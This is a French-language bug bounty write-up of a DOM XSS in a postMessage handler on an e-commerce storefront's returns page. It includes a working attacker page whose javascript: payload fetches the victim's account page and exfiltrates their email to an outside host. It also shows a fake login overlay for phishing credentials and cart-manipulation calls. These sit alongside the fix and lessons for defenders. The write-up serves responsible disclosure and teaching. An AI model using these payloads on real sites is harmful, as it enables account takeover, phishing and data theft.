Mon premier bug bounty : une DOM XSS

Note de divulgation : Le périmètre, le nom du programme et l’identité de la société sont masqués conformément à la politique de divulgation responsable. Tous les extraits de code sont anonymisés ou reconstruits pour illustrer le concept. La vulnérabilité a été signalée via une plateforme de bug bounty et a depuis été corrigée.


TL;DR

  • XSS basé sur le DOM trouvé dans une page /apps/returns d’une grande marque e-commerce
  • Cause racine : window.location.href = event.data.data - sans vérification d’origine, sans validation de schéma
  • Vecteur d’attaque : n’importe quelle fenêtre cross-origin tenant une référence via window.open() peut injecter une URI javascript:
  • Impact : exécution JavaScript complète dans l’origine cible → cookies de session, localStorage, appels API same-origin, prise de contrôle de compte
  • CVSS 9.0 (S:C - changement de portée)
  • Bonus : découverte d’une chaîne de destruction d’adresses sans protection CSRF en explorant l’impact

Comment tout a commencé

Je chassais des bugs sur une grande marque de cosmétiques e-commerce tournant sous Shopify. Rien de sophistiqué - juste lire le source des pages, grep sur des patterns intéressants, chercher ce truc qu’on a oublié de valider.

Puis je suis tombé sur /apps/returns. Un proxy d’application Shopify qui embarque un portail de retours tiers dans une iframe.

La page avait un bloc <script> inline. Trois lignes. C’est tout ce qu’il a fallu.

“Ça peut être si grave que ça ?” - moi, sur le point de lire un script de 3 lignes. Dernières paroles célèbres.

This is fine


C’est quoi postMessage ?

window.postMessage() est la façon officielle du navigateur pour permettre à des fenêtres cross-origin de communiquer. Une iframe depuis api.fournisseur.example peut envoyer des messages à son parent sur boutique.example. Parfaitement légitime, utilisé partout.

L’API complète

L’émetteur appelle postMessage avec deux arguments obligatoires :

targetWindow.postMessage(message, targetOrigin);
//                        ^        ^
//                        |        restreint la livraison à cette origine
//                        n'importe quelle valeur sérialisable (string, objet, tableau...)

targetOrigin est un filet de sécurité côté émetteur. Si la page parente a navigué vers une autre origine depuis le chargement de l’iframe, le message sera silencieusement ignoré plutôt que livré à la mauvaise partie.

// Émetteur (depuis l'iframe api.fournisseur.example)
window.parent.postMessage(
  { action: 'onstore:navigate', data: '/account' },
  'https://boutique.example'   // livrer uniquement si le parent est exactement cette origine
);

// Utiliser '*' désactive cette vérification — le message va à n'importe quel récepteur
window.parent.postMessage(payload, '*');

Le récepteur enregistre un écouteur d’événement et reçoit un MessageEvent structuré :

window.addEventListener('message', (event) => {
  event.origin  // string  - scheme+host+port de l'émetteur, ex. "https://api.fournisseur.example"
  event.data    // any     - le payload du message (désérialisé depuis le structured clone)
  event.source  // Window  - référence vers la fenêtre émettrice (pour répondre)
  event.ports   // array   - MessagePorts transférables (rarement utilisé hors workers)
}, false);

Le modèle de sécurité à deux niveaux

La sécurité existe des deux côtés :

CôtéMécanismeCe qu’il protège
Émetteurargument targetOriginEmpêche la livraison à un récepteur d’origine inattendue
Récepteurvérification de event.originEmpêche le traitement de messages d’émetteurs non fiables

Les deux sont requises. Un émetteur utilisant '*' divulgue le message à n’importe quelle fenêtre. Un récepteur ignorant event.origin fait confiance à toutes les fenêtres. La vulnérabilité ici était côté récepteur - le handler n’a jamais consulté event.origin, donc n’importe quelle fenêtre cross-origin tenant une référence pouvait le déclencher.

La règle : toujours vérifier event.origin côté récepteur. Si vous ne le faites pas, n’importe quelle fenêtre qui détient une référence vers la vôtre peut vous envoyer des messages.

sequenceDiagram
    participant L as iframe légitime<br/>(api.fournisseur.example)
    participant V as Page vulnérable<br/>(boutique.example/apps/returns)
    participant A as Page attaquant<br/>(evil.example)

    L->>V: postMessage({action:'onstore:navigate', data:'/account'})
    Note over V: Flux normal [ok]

    A->>V: postMessage({action:'onstore:navigate', data:'javascript:pwned()'})
    Note over V: Pas de vérification d'origine → exécution [XSS]

Voyons le code.


Le code vulnérable

Voici le handler que j’ai trouvé (anonymisé mais structurellement identique à l’original) :

window.addEventListener('message', (event) => {
    if (event.data?.action === 'onstore:navigate') {
      window.location.href = event.data.data;  // VULN: pas de vérif d'origine, pas de vérif de schéma
    }

    if (event.data?.action === 'embedded-app:mobile-lookup-load') { /* ... */ }
    if (event.data?.action === 'embedded-app:mobile-lookup-success') { /* ... */ }
}, false);

C’est tout. Conçu pour permettre à l’iframe de retours embarquée de naviguer la page parente (ex. retour vers /account après avoir complété un retour). Logique dans le contexte.

Les pièces manquantes :

  1. Pas de if (event.origin !== 'https://api.fournisseur.example') return;
  2. Pas de vérification du schéma URL avant l’affectation à window.location.href

Surprised Pikachu


Analyse Sink-to-Source

Traçons le flux depuis l’entrée contrôlée par l’attaquant jusqu’au sink :

flowchart LR
    SRC["[SOURCE]\nL'attaquant contrôle\nevent.data.data\nvia postMessage()"]
    FLOW1["Event Handler\nwindow.addEventListener\n('message', ...)"]
    CHECK["Vérification de l'action\nevent.data.action ===\n'onstore:navigate'"]
    SINK["[SINK]\nwindow.location.href\n= event.data.data"]
    XSS["[DOM XSS]\nURI javascript:\nexécutée dans l'origine cible"]

    SRC -->|"aucune sanitisation\naucune vérification de type"| FLOW1
    FLOW1 --> CHECK
    CHECK -->|"validé ✓"| SINK
    SINK -->|"javascript: accepté\npar le navigateur"| XSS

Même flux, annoté dans le code :

// Traçage Source → Sink
// ──────────────────────────────────────────────────────────

// [SOURCE] : entrée contrôlée par l'attaquant
//   L'attaquant a appelé :
//     targetWin.postMessage({
//       action: 'onstore:navigate',
//       data:   'javascript:pwned()'  ← sa valeur, pas la nôtre
//     }, '*')
//
//   event.origin = 'https://attaquant.evil'   ← jamais vérifié
//   event.data.data = 'javascript:pwned()'    ← jamais nettoyé

window.addEventListener('message', (event) => {

  // [PROPAGATION] : aucune validation, aucune transformation
  //   ✗ pas de vérification de event.origin
  //   ✗ pas de vérification du schéma ou du type de event.data.data
  if (event.data?.action === 'onstore:navigate') {

    // [SINK] : affectation directe de la donnée non-fiable
    //   window.location.href accepte les URI javascript:
    //   → s'exécute dans le contexte de la page COURANTE
    //   → ici : https://boutique.example  (pas attaquant.evil !)
    window.location.href = event.data.data;
    //                      ↑
    //             donnée non-fiable propagée sans filtre
    //             depuis la source jusqu'au sink
  }

}, false);

La donnée contaminée voyage depuis l’appel postMessage - contrôlé par l’attaquant - à travers une simple comparaison de chaîne d’action, directement dans window.location.href sans aucune transformation. XSS DOM classique.

Pourquoi javascript: fonctionne ici ?

Quand un script s’exécutant dans l’origine A assigne window.location.href = 'javascript:code()', le navigateur exécute code() dans le contexte de l’origine A. C’est le comportement same-origin attendu - la spec l’autorise. Le problème est que le script qui fait l’affectation s’exécute dans l’origine cible (la page de la boutique), pas dans l’origine de l’attaquant. Le handler d’événements de la boutique est celui qui appelle window.location.href = ..., donc l’URI javascript: hérite de ses privilèges.


Le flux d’attaque

L’attaque, étape par étape :

flowchart TB
    A["1. L'attaquant héberge une page malveillante\nattaquant.evil/pwn.html"]
    B["2. La victime clique sur un lien\n(email, forum, pub...)"]
    C["3. window.open()\nOuvre boutique.example/apps/returns\ndans un nouvel onglet"]
    D["4. Attendre ~4s\nLa page et le listener postMessage se chargent"]
    E["5. targetWin.postMessage({\n  action: 'onstore:navigate',\n  data: 'javascript:...payload...'\n}, '*')"]
    F["6. Le handler vulnérable reçoit le message\nPas de vérif d'origine -> affectation à window.location.href"]
    G["7. URI javascript: exécutée\nen tant que boutique.example"]
    H["8. Le JS de l'attaquant lit les cookies,\nlocalStorage, fetch /account\navec les creds de session"]
    I["9. Données exfiltrées\nvers le serveur de l'attaquant"]

    A --> B --> C --> D --> E --> F --> G --> H --> I

La page de l’attaquant ressemble à ça (simplifié) :

<script>
  function exploit() {
    const target = window.open('https://boutique.example/apps/returns', '_blank');
    setTimeout(() => {
      target.postMessage({
        action: 'onstore:navigate',
        data: 'javascript:(async()=>{' +
          'const r=await fetch("/account",{credentials:"include"});' +
          'const t=await r.text();' +
          'const email=t.match(/[\\w.+-]+@[\\w-]+\\.[\\w.]+/)?.[0];' +
          'new Image().src="https://oob.rodolpheg.xyz/oob?pouet="+encodeURIComponent(email);' +
        '})();void(0)'
      }, '*');
    }, 4000);
  }
</script>
<button onclick="exploit()">Gagnez une carte cadeau</button>

La victime voit un bouton “Gagnez une carte cadeau”. Elle clique. Un nouvel onglet s’ouvre (la vraie page de la boutique), et 4 secondes plus tard ses données de session sont en route vers le serveur de l’attaquant. L’URL de l’onglet ne change jamais - elle affiche toujours https://boutique.example/apps/returns.

Hackerman


Impact : c’est pire qu’il n’y paraît

L’exécution JavaScript dans l’origine du storefront ouvre beaucoup de portes. Voici les principales.

1. Exfiltration de données de session

  • Lecture de document.cookie (cookies non-HttpOnly, dont les tokens de session)
  • Lecture de localStorage et sessionStorage (contient souvent des tokens d’auth, l’état du panier, les préférences utilisateur)
  • Lecture d’IndexedDB (utilisé par certains storefronts de style PWA)

2. Prise de contrôle de compte via requêtes same-origin

Le navigateur inclut automatiquement les cookies de session dans les appels fetch() same-origin. Dans le payload :

// fetch authentifié - cookies de session inclus automatiquement
const resp = await fetch('/account/addresses', { credentials: 'include' });
const html = await resp.text();
// Extraction du nom, email, téléphone, toutes les adresses de livraison sauvegardées...

Pas de cookies volés, pas de rejeu de token - juste un fetch que le serveur croit être l’utilisateur légitime.

3. Injection DOM

Le payload peut remplacer tout le DOM de la page. La barre d’adresse affiche toujours https://boutique.example/apps/returns. Un faux formulaire avec les polices et le logo de la boutique collecte les identifiants sans éveiller les soupçons.

document.body.innerHTML = `
  <div style="...">
    <h2>Votre session a expiré</h2>
    <input type="email" placeholder="Email">
    <input type="password" placeholder="Mot de passe">
    <button onclick="voler(this)">Se connecter</button>
  </div>
`;

4. Manipulation du panier et des commandes

L’API AJAX Storefront de Shopify accepte des appels non authentifiés pour modifier l’état du panier. Avec le contexte de session on peut aussi frapper les endpoints de compte authentifiés :

// Ajout d'un produit au panier de la victime
await fetch('/cart/add.js', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ id: VARIANT_ID, quantity: 1 }),
  credentials: 'include'
});

Le correctif

Voici le handler vulnérable à côté de la version patchée :

Avant (vulnérable) :

window.addEventListener('message', (event) => {
    if (event.data?.action === 'onstore:navigate') {
      window.location.href = event.data.data;  // UNSAFE: sink
    }
}, false);

Après (corrigé) :

const ALLOWED_ORIGINS = ['https://api.portail-retours.example'];

window.addEventListener('message', (event) => {
    // 1. Valider l'origine de l'expéditeur
    if (!ALLOWED_ORIGINS.includes(event.origin)) return;

    // 2. Valider le type de donnée
    if (typeof event.data?.data !== 'string') return;

    if (event.data.action === 'onstore:navigate') {
        try {
            // 3. Parser et valider le schéma URL
            const url = new URL(event.data.data, location.origin);
            if (url.protocol !== 'https:' && url.protocol !== 'http:') return;
            // 4. Optionnellement restreindre aux navigations same-origin
            if (url.origin !== location.origin) return;
            window.location.href = url.href;
        } catch { /* URL invalide */ }
    }
}, false);

Trois changements :

  1. Liste blanche d’origines - accepter uniquement les messages de l’origine iframe attendue
  2. Validation du schéma - rejeter javascript:, data:, blob:, vbscript:, etc.
  3. Parsing URL - utiliser new URL() pour normaliser et inspecter avant l’affectation

À ajouter :

  • Ajouter un header Content-Security-Policy avec script-src (le CSP existant n’avait pas de directive script-src, donc les scripts inline étaient sans restriction)
  • Considérer Trusted Types (require-trusted-types-for 'script') pour imposer des affectations sûres aux sinks DOM au niveau du navigateur
  • Auditer tous les handlers addEventListener('message', ...) dans le thème - ils ont tendance à se regrouper

Timeline

DateÉvénement
2026-04-05Open redirect via postMessage confirmé
2026-04-05DOM XSS confirmé (URI javascript: → alert() dans l’origine cible)
2026-04-13Rapport soumis via plateforme de bug bounty
2026-04-13Triager accuse réception en quelques heures
(masqué)Vulnérabilité confirmée par le programme
(masqué)Correctif déployé

Leçons apprises

Pour les chasseurs :

  • Lisez les blocs <script> inline. Ils sont souvent écrits par des développeurs de thèmes qui ne sont pas des spécialistes en sécurité.
  • Les handlers window.postMessage sans vérification d’origine sont un finding fiable. Grep pour addEventListener('message' sur tout le source de la page.
  • Ne vous arrêtez pas au XSS. Cartographiez la surface d’impact : quelles APIs sont disponibles same-origin ? Quels endpoints manquent de protection CSRF ? La chaîne d’impact a presque doublé le score CVSS.

Pour les développeurs :

  • event.origin n’est pas optionnel. C’est la frontière de sécurité de l’API postMessage.
  • Affecter des données contrôlées par l’utilisateur à window.location.href est un sink DOM XSS. Traitez-le comme innerHTML.
  • SameSite=Lax ne protège pas les endpoints POST du XSS. Vous avez besoin de tokens CSRF en plus des flags de cookies.

Références